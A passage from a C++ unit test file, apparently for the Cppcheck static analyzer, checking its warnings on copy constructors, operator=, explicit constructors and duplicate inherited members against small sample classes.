checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" 